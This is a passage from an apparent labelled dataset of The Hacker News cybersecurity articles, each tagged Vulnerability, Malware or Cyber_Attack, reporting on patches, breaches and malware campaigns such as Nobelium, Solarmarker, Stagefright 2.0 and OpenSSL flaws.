""Over this weekend, we've been alerted to a security issue potentially affecting subscribers of Sosasta. We wanted to let you know that the issue has been brought under control and your accounts are secure. However, as a precautionary measure, we recommend that you change your SoSasta password immediately, by visiting the SoSasta website (Sign-In using your existing password, then click on Profile followed by Change Password). If you use the same email/password combination at other websites, we recommend you change those passwords as soon as possible, too.


Please be aware that none of your financial information (Credit Card, Debit Card, NetBanking etc) has been compromised since this information is not stored on SoSasta, as per law.


You should know that we are working aggressively to prevent this from happening again. Sosasta takes security and privacy very seriously -- it's important to us to provide you with a safe shopping experience of the highest quality, and we will do everything possible to keep your trust. Please accept our apology for any inconvenience or concern we've caused.""

The leak was discovered by Australian security consultant Daniel Grzelak .

",Vulnerability
"Microsoft Issues Patches For Severe Flaws, Including Office Zero-Day & DNS Attack",https://thehackernews.com/2017/10/microsoft-security-patches.html,"As part of its ""October Patch Tuesday,"" Microsoft has today released a large batch of security updates to patch a total of 62 vulnerabilities in its products, including a severe MS office zero-day flaw that has been exploited in the wild.

Security updates also include patches for Microsoft Windows operating systems, Internet Explorer, Microsoft Edge, Skype, Microsoft Lync and Microsoft SharePoint Server.

Besides the MS Office vulnerability, the company has also addressed two other publicly disclosed (but not yet targeted in the wild) vulnerabilities that affect the SharePoint Server and the Windows Subsystem for Linux.

October patch Tuesday also fixes a critical Windows DNS vulnerability that could be exploited by a malicious DNS server to execute arbitrary code on the targeted system. Below you can find a brief technical explanation of all above mentioned critical and important vulnerabilities.

Microsoft Office Memory Corruption Vulnerability (CVE-2017-11826)

This vulnerability, classified by Microsoft as ""important,"" is caused by a memory corruption issue. It affects all supported versions of MS Office and has been actively exploited by the attackers in targeted attacks.

An attacker could exploit this vulnerability either by sending a specially crafted Microsoft Office file to the victims and convincing them to open it, or hosting a site containing specially crafted files and tricking victims to visit it.

Once opened, the malicious code within the booby-trapped Office file will execute with the same rights as the logged-in user. So, users with least privilege on their systems are less impacted than those having higher admin rights.

The vulnerability was reported to Microsoft by security researchers at China-based security firm Qihoo 360 Core Security, who initially detected an in-the-wild cyber attack which involved malicious RTF files and leveraged this vulnerability on September 28.

Microsoft Windows DNSAPI Remote Code Execution Vulnerability (CVE-2017-11779)

Among other critical vulnerabilities patched by Microsoft include a critical remote code execution flaw in the Windows DNS client that affects computers running Windows 8.1 and Windows 10, and Windows Server 2012 through 2016.

The vulnerability can be triggered by a malicious DNS response, allowing an attacker gain arbitrary code execution on Windows clients or Windows Server installations in the context of the software application that made the DNS request.

Nick Freeman, a security researcher from security firm Bishop Fox, discovered the vulnerability and demonstrated how an attacker connected to a public Wi-Fi network could run malicious code on a victim's machine, escalate privileges and take full control over the target computer or server.
""This means that if an attacker controls your DNS server (e.g., through a Man-in-the-Middle attack or a malicious coffee-shop hotspot) – they can gain access to your system,"" the researcher explains.
""This doesn't only affect web browsers – your computer makes DNS queries in the background all the time, and any query can be responded to in order to trigger this issue.""
For full technical details, you can watch the video demonstration by Bishop Fox's Dan Petro and head on to Bishop Fox's blog post.

Windows Subsystem for Linux Denial of Service Vulnerability (CVE-2017-8703)

This denial of service (DoS) issue is yet another noteworthy vulnerability which resides in Windows Subsystem for Linux.

The vulnerability, classified by Microsoft as ""important,"" was previously publicly disclosed, but wasn't found actively exploited in the wild.

The vulnerability could allow an attacker to execute a malicious application to affect an object in the memory, which eventually allows that the application to crash the target system and made it unresponsive.
The only affected Microsoft product by this vulnerability is Windows 10 (Version 1703). ""The update addresses the vulnerability by correcting how Windows Subsystem for Linux handles objects in memory,"" Microsoft said in its advisory.

Microsoft Office SharePoint XSS Vulnerability (CVE-2017-11777)

Another previously disclosed but not yet under attack vulnerability is a cross-site scripting (XSS) flaw in Microsoft SharePoint Server that affects SharePoint Enterprise Server 2013 Service Pack 1 and SharePoint Enterprise Server 2016.

The vulnerability, also classified by Microsoft as ""important,"" can be exploited by sending a maliciously crafted request to an affected SharePoint server.

Successful exploitation of this vulnerability could allow an attacker to perform cross-site scripting attacks on affected systems and execute malicious script in the same security context of the current user.
""The attacks could allow the attacker to read content that the attacker is not authorised to read, use the victim's identity to take actions on the SharePoint site on behalf of the user, such as change permissions and delete content, and inject malicious content in the browser of the user,"" Microsoft explains.
Besides these, the company has patched a total of 19 vulnerabilities in the scripting engine in Edge and Internet Explorer that could allow web pages to achieve remote-code execution, with the logged-in user's permissions, via memory corruption flaws.

Just opening a web page could potentially land you in trouble by executing malware, spyware, ransomware, and other nasty software on the vulnerable computer.

More RCE And Other Vulnerabilities

Redmond also patched two vulnerabilities in the Windows font library that can allow a web page or document to execute malicious code on a vulnerable machine and hijack it on opening a file with a specially crafted embedded font or visiting a website hosting the malicious file.

The update also includes fixes for a bug in Windows TRIE (CVE-2017-11769) that allows DLL files to achieve remote code execution, a programming error (CVE-2017-11776) in Outlook that leaves its emails open to snooping over supposedly secure connections.

Other issues patched this month include two remote code execution flaws in the Windows Shell and a remote code execution bug in Windows Search.

Microsoft also published an advisory warning user of a security feature bypass issue affecting the firmware of Infineon Trusted Platform Modules (TPMs).

Surprisingly, Adobe Flash does not include any security patches. Meanwhile, Adobe has skipped October's Patch Tuesday altogether.

Users are strongly advised to apply October security patches as soon as possible in order to keep hackers and cybercriminals away from taking control over their computers.

For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.

",Vulnerability
SolarWinds Hackers Target Think Tanks With New 'NativeZone' Backdoor,https://thehackernews.com/2021/05/solarwinds-hackers-target-think-tanks.html,"Microsoft on Thursday disclosed that the threat actor behind the SolarWinds supply chain hack returned to the threat landscape to target government agencies, think tanks, consultants, and non-governmental organizations located across 24 countries, including the U.S.
Some of the entities that were singled out include the U.S. Atlantic Council, the Organization for Security and Co-operation in Europe (OSCE), the Ukrainian Anti-Corruption Action Center (ANTAC), the EU DisinfoLab, and the Government of Ireland's Department of Foreign Affairs.
""This wave of attacks targeted approximately 3,000 email accounts at more than 150 different organizations,"" Tom Burt, Microsoft's Corporate Vice President for Customer Security and Trust, said. ""At least a quarter of the targeted organizations were involved in international development, humanitarian, and human rights work.""
Microsoft attributed the ongoing intrusions to the Russian threat actor it tracks as Nobelium, and by the wider cybersecurity community under the monikers APT29, UNC2452 (FireEye), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks).
The latest wave in a series of intrusions is said to have begun on Jan. 28, 2021, before reaching a new level of escalation on May 25. The attacks leveraged a legitimate mass-mailing service called Constant Contact to conceal its malicious activity and masquerade as USAID, a U.S.-based development organization, for a wide-scale phishing campaign that distributed phishing emails to a variety of organizations and industry verticals.
""Nobelium launched this week's attacks by gaining access to the Constant Contact account of USAID,"" Burt said.
These seemingly authentic emails included a link that, when clicked, delivered a malicious optical disc image file (""ICA-declass.iso"") to inject a custom Cobalt Strike Beacon implant dubbed NativeZone (""Documents.dll""). The backdoor, similar to previous custom malware like Raindrop and Teardrop, comes equipped with capabilities to maintain persistent access, conduct lateral movement, exfiltrate data, and install additional malware.
In another variation of the targeted attacks detected before April, Nobelium experimented with profiling the target machine after the email recipient clicked the link. In the event the underlying operating system turned out to be iOS, the victim was redirected to a second remote server to dispatch an exploit for the then zero-day CVE-2021-1879. Apple addressed the flaw on March 26, acknowledging that ""this issue may have been actively exploited.""
Cybersecurity firms Secureworks and Volexity, which corroborated the findings, said the campaign singled out non-governmental organizations, research institutions, government entities, and international agencies situated in the U.S., Ukraine, and the European Union.
""The very narrow and specific set of email identifiers and organizations observed by CTU researchers strongly indicate that the campaign is focused on U.S. and European diplomatic and policy missions that would be of interest to foreign intelligence services,"" researchers from Secureworks Counter Threat Unit noted.
The latest attacks add to evidence of the threat actor's recurring pattern of using unique infrastructure and tooling for each target, thereby giving the attackers a high level of stealth and enabling them to remain undetected for extended periods of time.
The ever-evolving nature of Nobelium's tradecraft is also likely to be a direct response to the highly publicized SolarWinds incident, suggesting the attackers could further continue to experiment with their methods to meet their objectives.
""When coupled with the attack on SolarWinds, it's clear that part of Nobelium's playbook is to gain access to trusted technology providers and infect their customers,"" Burt said. ""By piggybacking on software updates and now mass email providers, Nobelium increases the chances of collateral damage in espionage operations and undermines trust in the technology ecosystem.""

",Malware
"Microsoft Pays $24,000 Bounty to Hacker for Finding 'Account Hacking' Technique",https://thehackernews.com/2015/10/outlook-email-hacking.html,"A security researcher has won $24,000 from Microsoft for finding a critical flaw in its Live.com authentication system that could allow hackers to gain access to a user's complete Outlook account or other Microsoft services.

Microsoft's Live.com is the authentication system that everyone go through while attempting to authenticate to Outlook.com and a large number of other Microsoft services, including OneDrive, Windows Phone, Skype, and Xbox LIVE.

Hacking Hotmail (Outlook.com) Account

It's one account for all services. So, if say, Outlook wants to access other apps, it uses a standard set of authentication code called OAuth.

OAuth is an open standard for authorization that keeps your passwords safe on third-party sites and instead of sharing your password, it shares a special key called 'Access token' to access the app.

OAuth authorizations are accomplished through a prompt, as shown below and to allow an app to gain access to your account, you need to click 'Yes'.
However, Synack security researcher Wesley Wineberg found an amazing hack that allowed him to bypass Microsoft's OAuth protection mechanism using his malicious 'proof-of-concept' app, named 'Evil App.'

According to the technical details posted by security researcher, attacker's malicious app can effectively gain access to everything in victim's account just by tricking the victim into visiting a web page, which required no other user interaction.

Exploit Demonstration

You can watch the video demonstration below that shows the attack in work:
What's more concerning about this vulnerability, according to Wineberg, is that it could have been exploited and abused by malicious hackers to create a nasty email worm.
""Using this as a targeted attack definitely has a high impact, but this is also the perfect type of vulnerability to turn into a worm,"" Wineberg wrote. ""A worm could easily email all of a user's contacts, with something enticing…and spread to every user who clicks the link.""
However, Microsoft patched the vulnerability in mid-September and paid out a whopping $24,000 to Wineberg as part of Microsoft's tech titan's bug bounty program.

Earlier this week, Cybereason security researchers discovered more issues in Microsoft's Outlook app that affected business' users.

",Vulnerability
Solarmarker InfoStealer Malware Once Again Making its Way Into the Wild,https://thehackernews.com/2021/08/solarmarker-infostealer-malware-once.html,"Healthcare and education sectors are the frequent targets of a new surge in credential harvesting activity from what's a ""highly modular"" .NET-based information stealer and keylogger, charting the course for the threat actor's continued evolution while simultaneously remaining under the radar.
Dubbed ""Solarmarker,"" the malware campaign is believed to be active since September 2020, with telemetry data pointing to malicious actions as early as April 2020, according to Cisco Talos. ""At its core, the Solarmarker campaign appears to be conducted by a fairly sophisticated actor largely focused on credential and residual information theft,"" Talos researchers Andrew Windsor and Chris Neal said in a technical write-up published last week.
Infections consist of multiple moving parts, chief among them being a .NET assembly module that serves as a system profiler and staging ground on the victim host for command-and-control (C2) communications and further malicious actions, including the deployment of information-stealing components like Jupyter and Uran (likely a reference to Uranus).
While the former boasts of capabilities to steal personal data, credentials, and form submission values from the victim's Firefox and Google Chrome browsers, the latter — a previously unreported payload — acts as a keylogger to capture the user's keystrokes.
The renewed activity has also been accompanied by a shift in tactics and multiple iterations to the infection chain, even as the threat actor latched on to the age-old trick of SEO poisoning, which refers to the abuse of search engine optimization (SEO) to gain more eyeballs and traction to malicious sites or make their dropper files highly visible in search engine results.
""Operators of the malware known as SolarMarker, Jupyter, [and] other names are aiming to find new success using an old technique: SEO poisoning,"" the Microsoft Security Intelligence team disclosed in June. ""They use thousands of PDF documents stuffed w/ SEO keywords and links that start a chain of redirections eventually leading to the malware.
Talos' static and dynamic analysis of Solarmarker's artifacts points to a Russian-speaking adversary, although the threat intelligence group suspects the malware creators could have intentionally designed them in such a manner in an attempt to mislead attribution.
""The actor behind the Solarmarker campaign possesses moderate to advanced capabilities,"" the researchers concluded. ""Maintaining the amount of interconnected and rotating infrastructure and generating a seemingly limitless amount of differently named initial dropper files requires substantial effort.""
""The actor also exhibits determination in ensuring the continuation of their campaign, such as updating the encryption methods for the C2 communication in the Mars DLL after researchers had publicly picked apart previous components of the malware, in addition to the more typical strategy of cycling out the C2 infrastructure hosts."".

",Malware
Chinese Researchers Disrupt Malware Attack That Infected Thousands of PCs,https://thehackernews.com/2020/05/chinese-botnet-malware.html,"Chinese security firm Qihoo 360 Netlab said it partnered with tech giant Baidu to disrupt a malware botnet infecting over hundreds of thousands of systems.

The botnet was traced back to a group it calls ShuangQiang (also called Double Gun), which has been behind several attacks since 2017 aimed at compromising Windows computers with MBR and VBR bootkits, and installing malicious drivers for financial gain and hijack web traffic to e-commerce sites.

In addition to using images uploaded to Baidu Tieba to distribute configuration files and malware — a technique called steganography — the group has begun using Alibaba Cloud storage to host configuration files and Baidu's analytics platform Tongji to manage the activity of its infected hosts, the researchers said.

The initial compromise relies on luring unsuspecting users to install game launching software from sketchy game portals that contain malicious code under the guise of a patch.


Once the user downloads and installs the patch, it accesses the aforementioned configuration information to download a separate program named ""cs.dll"" from Baidu Tieba that's stored as an image file.

In the subsequent stages, ""cs.dll"" not only creates a bot ID and reports it back to the attacker-controlled server, but it also injects a second driver that hijacks system processes (e.g., lassas.exe and svchost.exe) in order to download next-stage payloads to advance the group's motives.

Qihoo researchers also detailed a second infection chain wherein game client software is altered with malicious libraries (a modified version of photobase.dll), using a method called DLL hijacking to release and load the malicious driver before loading the legitimate module.

The company said it reached out to Baidu's security team on May 14 and that they jointly took action to prevent the further spread of the botnet by blocking all downloads from the URLs involved.

""During this joint operation, through the analysis, sharing, and response of threat information, we have formed a better understanding of the technical means, logic, and rules of the Double Gun gang,"" Baidu said.

",Cyber_Attack
Malware Exploits SHELLSHOCK Vulnerability to Hack NAS Devices,https://thehackernews.com/2014/12/malware-shellshock-hack.html,"The year is about to end, but serious threats like Shellshock is ""far from over"". Cyber criminals are actively exploiting this critical GNU Bash vulnerability to target those network attached storage devices that are still not patched and ready for exploitation.

Security researchers have unearthed a malicious worm that is designed to plant backdoors on network-attached storage (NAS) systems made by Taiwan-based QNAP and gain full access to the contents of those devices.

The worm is spread among QNAP devices, which run an embedded Linux operating system, by the exploitation of the GNU Bash vulnerability known as ShellShock or Bash, according to security researchers at the Sans Institute.

QNAP vendor released a patch in early October to address the flaw in its Turbo NAS product, but because the patches are not automatic or easy to apply for many users, so a statistically significant portion of systems remain vulnerable and exposed to the Bash bug.

Shellshock vulnerability was among the critical and serious Internet vulnerabilities uncovered this year, as the vulnerability in Bash, aka the GNU Bourne Again Shell, affects Linux and UNIX distributions to a large extent, but also Windows in some cases. The flaw exploits a bug in GNU Bash that gives attackers the ability to run execute shell commands of their choice remotely on vulnerable systems using specifically crafted variables.
""The attack targets a QNAP CGI script, /cgi-bin/authLogin.cgi, a well known vector for Shellshock on QNAP devices,"" Johannes B. Ullrich, head of the Internet Storm Center at the SANS Institute, wrote in the blog post published Sunday. ""This script is called during login, and reachable without authentication. The exploit is then used to launch a simple shell script that will download and execute a number of additional pieces of malware.""
Once the device is infected by the worm, malicious components also execute a script that makes the device to carry out click fraud scam against an online advertising network JuiceADV. A number of other scripts are also installed on the infected system. The worm is dangerous because the ""infected devices have been observed scanning for other vulnerable devices,"" Ullrich said.

According to the researcher, the infected systems are equipped with a secure shell (SSH) server on port 26 and a new administrative user, which gives the attackers a determined backdoor to hide into the device at any time in the future.
""The DNS change is likely made to avoid logging and potentially blacklisting of any affected domains,"" Ullrich said. ""The SSH server is a second SSH server that is being launched, in addition to the normal SSH server on port 22. This second SSH server, and the additional user added to the system, provides the attacker with persistent access to the system.""
More interestingly, the worm also patches the notorious Shellshock vulnerability on the infected devices by downloading and applying the security updates from QNAP and reboot the device, in order to prevent other attackers from taking over the compromised device.

",Malware
Microsoft Releases 7 Security Updates,https://thehackernews.com/2014/12/Microsoft-Patch-Tuesday.html,"Last week Microsoft released its Advance Notification for the month of December 2014 Patch Tuesday Updates, and finally today released a total of seven security bulletins, which will address several vulnerabilities in its products, out of which three are marked 'critical' and rest are 'important' in severity.

Last month after a big pile of security patches, the company released an an unusual emergency patch to fix a critical vulnerability in Microsoft Windows Kerberos KBC, authentication system used by default in the operating system, that cybercriminals exploited to compromise whole networks of computers.

The three critical bulletins affect Internet Explorer, Office and Windows. All the versions of Microsoft Internet Explorer (IE) are affected except Server Core, which does not include IE. The critical zero-day IE vulnerability (CVE-2014-8967) was discovered by security researcher Arthur Gerkis of Zero Day Initiative (ZDI) in June this year.

By exploiting the vulnerability, a remote attacker could execute arbitrary code on vulnerable installations of Microsoft Internet Explorer in order to compromise a vulnerable system. However, to exploit this flaw, user interaction is needed and to do so the target user must visit a malicious page or open a malicious file.
""The vulnerability relates to how Internet Explorer uses reference counting to manage the lifetimes of the in-memory objects representing HTML elements,"" reads the ZDI post. ""By applying a CSS style of display:run-in to a page and performing particular manipulations, an attacker can cause an object's reference count to fall to zero prematurely, causing the object to be freed. Internet Explorer will then continue using this object after it has been freed. An attacker can leverage this vulnerability to execute code under the context of the current process.""
ZDI warned Microsoft several days ago about the pending public disclosure of the flaw after it completed 180 days as on November 2014. All the versions of IE are rated critical on Windows desktop systems and moderate on Windows servers. Windows RT versions are also affected and the vulnerability is rated critical on it.

A second critical patch update affects only Windows Vista, Windows 7, Windows Server 2003 and Windows Server 2008, which is rated critical for the desktop versions and moderate for the servers. Another critical remote code execution update is expected in Microsoft Office, starting with Microsoft Word 2007 SP 3, as well as Microsoft Office 2010 SP 2, Word 2010 SP 2, Word 2013 and Word 2013 RT.

Moreover, two more security bulletins patch remote code execution vulnerabilities in Microsoft Office Web apps 2010 and 2013, but those vulnerabilities are rated important, which means that there is some mitigating factors for attackers to exploit the flaw.

An elevation of privilege bug in Microsoft Exchange is listed among other security bulletins and is rated important. The software affected are Microsoft Exchange 2007, 2010 and 2013. The final security update fixes an Information Disclosure vulnerability in all versions of Windows, including Server Core.

If you have Automatic Updates enabled on your machine, these fixes will all be made available via Windows Update and will be applied automatically for most users. But in case users have not enabled it, Microsoft is encouraging them to apply the updates promptly. Some patches applied may require restarting the servers as well.

",Vulnerability
Crypto-Mining Attacks Targeting Kubernetes Clusters via Kubeflow Instances,https://thehackernews.com/2021/06/crypto-mining-attacks-targeting.html,"Cybersecurity researchers on Tuesday disclosed a new large-scale campaign targeting Kubeflow deployments to run malicious cryptocurrency mining containers.
The campaign involved deploying TensorFlow pods on Kubernetes clusters, with the pods running legitimate TensorFlow images from the official Docker Hub account. However, the container images were configured to execute rogue commands that mine cryptocurrencies. Microsoft said the deployments witnessed an uptick towards the end of May.
Kubeflow is an open-source machine learning platform designed to deploy machine learning workflows on Kubernetes, an orchestration service used for managing and scaling containerized workloads across a cluster of machines.
The deployment, in itself, was achieved by taking advantage of Kubeflow, which exposes its UI functionality via a dashboard that is deployed in the cluster. In the attack observed by Microsoft, the adversaries used the centralized dashboard as an ingress point to create a pipeline to run TensorFlow images that perform cryptocurrency mining tasks.
""The burst of deployments on the various clusters was simultaneous. This indicates that the attackers scanned those clusters in advance and maintained a list of potential targets, which were later attacked on the same time,"" Microsoft's Senior Security Research Engineer Yossi Weizman said in a report.
The intrusions also echo similar attacks observed by Microsoft Azure Security Center last April that abused Internet-exposed Kubeflow dashboards to deploy a backdoor container for a crypto-mining operation. Weizman told The Hacker News that there's no evidence that the two campaigns were undertaken by the same threat actors.
The ongoing attacks are said to have used two different TensorFlow images — tagged ""latest"" and ""latest-gpu"" — to run the malicious code. Utilizing legitimate TensorFlow images is also a clever design to avoid detection in that TensorFlow containers are prevalent in machine learning-based workloads.
Furthermore, Microsoft said the attackers are able to take advantage of the images to run GPU tasks using CUDA, thereby enabling the adversary to ""maximize the mining gains from the host.""
""As part of the attacking flow, the attackers also deployed [a] reconnaissance container that queries information about the environment such as GPU and CPU information, as preparation for the mining activity,"" Weizman said. ""This also ran from a TensorFlow container.""
The development comes days after Palo Alto Networks' Unit 42 threat intelligence team disclosed a brand new form of malware called Siloscope designed to compromise Kubernetes clusters through Windows containers.
Users running Kubeflow are recommended to ensure that the centralized dashboard isn't insecurely exposed to the Internet, and if deemed necessary, require that they be protected behind authentication barriers.
Microsoft has also published a threat matrix for Kubernetes to better understand the attack surface of containerized environments and assist organizations in identifying current gaps in their defenses to secure against threats targeting Kubernetes.
Earlier this April, the company, alongside other members of Center for Threat-Informed Defense, teamed up to release what's called the ATT&CK for Containers matrix that builds upon the Kubernetes threat matrix to detect ""risks associated with containers, including misconfigurations that are often the initial vector for attacks, as well as the specific implementation of attack techniques in the wild.""

",Malware
Zulu - Zscaler Malware Scanning Service,https://thehackernews.com/2012/01/zulu-zscaler-malware-scanning-service.html,"Zulu - Zscaler Malware Scanning Service


Zscaler has launched a new freE online service called Zulu that can assess the security risk associated with URLs by analyzing the content they point to, as well as the reputation of their corresponding domain names and IP addresses.

Zulu allows security savvy users who investigate various web attacks to choose what User-Agent and Referrer headers the scanner will use when accessing a URL. ""A unique benefit of this approach is that we can deliver a risk score even when the page content is no longer available,"" said Michael Sutton, vice president of security research at Zscaler. ""While we can't access the page, we can still assess the URL and host and when they deliver a high risk score despite a lack of page content, one can often conclude the page was indeed malicious but has since been taken down,"" he explained.

Depending on the type of content a URL points to, Zulu can perform an antivirus scan using the VirusTotal multi-engine service, try to match a file's MD5 hash in Zscaler's database, search for known JavaScript obfuscation patterns and phishing heuristics, or use the company's malware detection technologies.

",Malware
Beware! New Android Malware Hacks Thousands of Facebook Accounts,https://thehackernews.com/2021/08/beware-new-android-malware-hacks.html,"A new Android trojan has been found to compromise Facebook accounts of over 10,000 users in at least 144 countries since March 2021 via fraudulent apps distributed through Google Play Store and other third-party app marketplaces.
Dubbed ""FlyTrap,"" the previously undocumented malware is believed to be part of a family of trojans that employ social engineering tricks to breach Facebook accounts as part of a session hijacking campaign orchestrated by malicious actors operating out of Vietnam, according to a report published by Zimperium's zLabs today and shared with The Hacker News.
Although the offending nine applications have since been pulled from Google Play, they continue to be available in third-party app stores, ""highlighting the risk of sideloaded applications to mobile endpoints and user data,"" Zimperium malware researcher Aazim Yaswant said. The list of apps is as follows -
GG Voucher (com.luxcarad.cardid)
Vote European Football (com.gardenguides.plantingfree)
GG Coupon Ads (com.free_coupon.gg_free_coupon)
GG Voucher Ads (com.m_application.app_moi_6)
GG Voucher (com.free.voucher)
Chatfuel (com.ynsuper.chatfuel)
Net Coupon (com.free_coupon.net_coupon)
Net Coupon (com.movie.net_coupon)
EURO 2021 Official (com.euro2021)
The malicious apps claim to offer Netflix and Google AdWords coupon codes and let users vote for their favorite teams and players at UEFA EURO 2020, which took place between 11 June and 11 July 2021, only under the condition that they log in with their Facebook accounts to cast their vote, or collect the coupon code or credits.
Once a user signs into the account, the malware is equipped to steal the victim's Facebook ID, location, email address, IP address, and the cookies and tokens associated with the Facebook account, thus enabling the threat actor to carry out disinformation campaigns using the victim's geolocation details or propagate the malware further via social engineering techniques by sending personal messages containing links to the trojan.
This is achieved using a technique called JavaScript injection, in which ""the application opens the legit URL inside a WebView configured with the ability to inject JavaScript code and extracts all the necessary information such as cookies, user account details, location, and IP address by injecting malicious [JavaScript] code,"" Yaswant explained.
While the exfiltrated data is hosted on a command-and-control (C2) infrastructure, security flaws found in the C2 server could be exploited to expose the entire database of stolen session cookies to anyone on the internet, thereby putting the victims at further risk.
""Malicious threat actors are leveraging common user misconceptions that logging into the right domain is always secure irrespective of the application used to log in,"" Yaswant said. ""The targeted domains are popular social media platforms and this campaign has been exceptionally effective in harvesting social media session data of users from 144 countries. These accounts can be used as a botnet for different purposes: from boosting the popularity of pages/sites/products to spreading misinformation or political propaganda.""

",Malware
Purple Fox Rootkit Can Now Spread Itself to Other Windows Computers,https://thehackernews.com/2021/03/purple-fox-rootkit-can-now-spread.html,"Purple Fox, a Windows malware previously known for infecting machines by using exploit kits and phishing emails, has now added a new technique to its arsenal that gives it worm-like propagation capabilities.
The ongoing campaign makes use of a ""novel spreading technique via indiscriminate port scanning and exploitation of exposed SMB services with weak passwords and hashes,"" according to Guardicore researchers, who say the attacks have spiked by about 600% since May 2020.
A total of 90,000 incidents have been spotted through the rest of 2020 and the beginning of 2021.
First discovered in March 2018, Purple Fox is distributed in the form of malicious "".msi"" payloads hosted on nearly 2,000 compromised Windows servers that, in turn, download and execute a component with rootkit capabilities, which enables the threat actors to hide the malware on the machine and make it easy to evade detection.
Guardicore says Purple Fox hasn't changed much post-exploitation, but where it has is in its worm-like behavior, allowing the malware to spread more rapidly.
It achieves this by breaking into a victim machine through a vulnerable, exposed service such as server message block (SMB), leveraging the initial foothold to establish persistence, pull the payload from a network of Windows servers, and stealthily install the rootkit on the host.
Once infected, the malware blocks multiple ports (445, 139, and 135), likely in an attempt to ""prevent the infected machine from being reinfected, and/or to be exploited by a different threat actor,"" notes Amit Serper, Guardicore's new vice president of security research for North America.
In the next phase, Purple Fox commences its propagation process by generating IP ranges and scanning them on port 445, using the probes to single out vulnerable devices on the Internet with weak passwords and brute-forcing them to ensnare the machines into a botnet.
While botnets are often deployed by threat actors to launch denial-of-network attacks against websites with the goal of taking them offline, they can also be used to spread all kinds of malware, including file-encrypting ransomware, on the infected computers, although in this case, it's not immediately clear what the attackers are looking to achieve.
If anything, the new infection vector is another sign of criminal operators constantly retooling their malware distribution mechanism to cast a wide net and compromise as many machines as possible. Details about the indicators of compromise (IoCs) associated with the campaign can be accessed here.

",Cyber_Attack
Stagefright Bug 2.0 — One Billion Android SmartPhones Vulnerable to Hacking,https://thehackernews.com/2015/10/android-stagefright-vulnerability.html,"Attention Android users!

More than 1 Billion Android devices are vulnerable to hackers once again – Thanks to newly disclosed two new Android Stagefright vulnerabilities.

Yes, Android Stagefright bug is Back…

…and this time, the flaw allows an attacker to hack Android smartphones just by tricking users into visiting a website that contains a malicious multimedia file, either MP3 or MP4.

In July, Joshua Drake, a Security researcher at Zimperium revealed the first Stagefright bug that allowed hackers to hijack Android smartphones with just a simple text message (exploit code).

How Stagefright Bug 2.0 Works

Both newly discovered vulnerabilities (CVE-2015-6602 and CVE-2015-3876) also reside in the Android Media Playback Engine called 'Stagefright' and affects all Android OS version from 1 to latest release 5.1.1.

Reportedly, merely previewing a maliciously crafted song or video file would execute the Stagefright Bug 2.0 exploit, allowing hackers to run remote codes on the victim's Android device.

New Stagefright Attack Vectors

The Stagefright Bug 2.0 vulnerability can be triggered (attack vectors) by:
Webpage
Man-in-the-middle attack
Third-party media player
Instant messaging apps
""Additionally, the attacker gains a foothold, from which they could conduct further local privilege escalation attacks and take complete control of the device,"" Zimperium said.
Google has scheduled monthly Android Security Update on 5th October 2015, which will patch newly discovered vulnerabilities for Nexus devices.

Google has already shared vulnerability report and patches with OEM Partners on Sept. 10. So you might be receiving patches soon from your Android device manufacturer.

Zimperium reported the flaws to Google on Aug. 15. The firm also plans to release technical details and proof-of-concept exploit code once a fix is released.

Stay Tuned to The Hacker News Facebook Page for more updates.

",Vulnerability
Critical OpenSSL Flaw Allows Hackers to Decrypt HTTPS Traffic,https://thehackernews.com/2016/01/openssl-https-encryption.html,"The OpenSSL Foundation has released the promised patch for a high severity vulnerability in its cryptographic code library that let attackers obtain the key to decrypt HTTPS-based communications and other Transport layer security (TLS) channels.

OpenSSL is an open-source library that is the most widely used in applications for secure data transfers. Most websites use it to enable Secure Sockets Layer (SSL) or Transport Layer Security (TLS) encryption.

However, after serious security vulnerabilities were discovered in OpenSSL over the last few years, the crypto library has been under much investigation by security researchers.


The latest bugs affect OpenSSL versions 1.0.1 and 1.0.2, which has been patched in new releases of OpenSSL, versions 1.0.1r and 1.0.2f.

The team has patched two separate vulnerabilities in OpenSSL. The ""high severity"" bug, identified as CVE-2016-0701, addresses issues in the implementations of the Diffie-Hellman key exchange algorithm presents only in OpenSSL version 1.0.2.

Re-Use of Encryption Keys

Diffie-Hellman (DH) is a common means of exchanging cryptographic keys over untrusted channels, allowing protocols like HTTPS, SSH, SMTPS, IPsec to negotiate a secret key and create a secure connection.

However, the applications that rely on the DH key exchange algorithm generate ephemeral keys using only ""safe"" prime numbers, but servers that do this reuse the same primes by default, which makes them vulnerable to the key-recovery attack.

Attackers could exploit this flaw by potentially making multiple connections with a vulnerable server and searching for TLS server's private Diffie-Hellman key if the server was re-using the private key or using a static Diffie-Hellman ciphersuite.

However, OpenSSL has the SSL_OP_SINGLE_DH_USE option for ephemeral Diffie-Hellman in TLS. But the option was turned OFF by default that made the server reuse the same private exponent, making it vulnerable to this type of attack.

Must Read: How NSA successfully Broke Trillions of Encrypted Connections.

Fortunately, many mainstream applications, like The Apache Web server that rely on OpenSSL and use Diffie-Hellman, turns ON SSL_OP_SINGLE_DH_USE, causing different private exponents to be used.

OpenSSL said in an advisory published today that the team has turned ON SSL_OP_SINGLE_DH_USE option by default. You can go to OpenSSL official blog post to know additional details about the flaw.

Force to Use Weaker SSLv2 Ciphers

The ""low severity"" vulnerability, CVE-2015-3197 that affects versions 1.0.2 and 1.0.1, has also been patched in the latest release, which allows attackers to force SSLv3 connections through the weaker SSLv2 ciphers.
""A malicious client can negotiate SSLv2 ciphers that have been disabled on the server and complete SSLv2 handshakes even if all SSLv2 ciphers have been disabled, provided that the SSLv2 protocol was not also disabled via SSL_OP_NO_SSLv2,"" the team said.
However, the team said that disabling SSLv2 ciphers on your server will not help and that incoming client can still complete SSL handshakes with the server, thereby establishing a non-secure SSLv2 connection.

Remember Logjam Downgrade Flaw?

The project team said the Thursday's release also contained an enhancement to strengthen cryptography against LogJam, an HTTPS-crippling vulnerability in TLS disclosed last May.

Logjam downgrade vulnerability allowed hackers to downgrade Diffie-Hellman-generated encrypted connections between a user and a Web or email server to use extremely weaker 512-bit keys that can be easily decrypted.

The previous patch had increased the limit of Diffie-Hellman parameters to 768 bits, but OpenSSL has now increased this limit to 1,024 bits.

Upgrade Now!

If you are using OpenSSL version 1.0.2, it's time for you to upgrade to version 1.0.2f. While those still using OpenSSL version 1.0.1 should install version 1.0.1r.

Among other recommendations, Thursday's OpenSSL advisory also warns that the patch may compromise performance, along with reminding users that support for OpenSSL version 1.0.1 will end at the end of this year, after which no security updates will be available.

However, Support for OpenSSL versions 0.9.8 and 1.0.0 already ended in December.

",Vulnerability
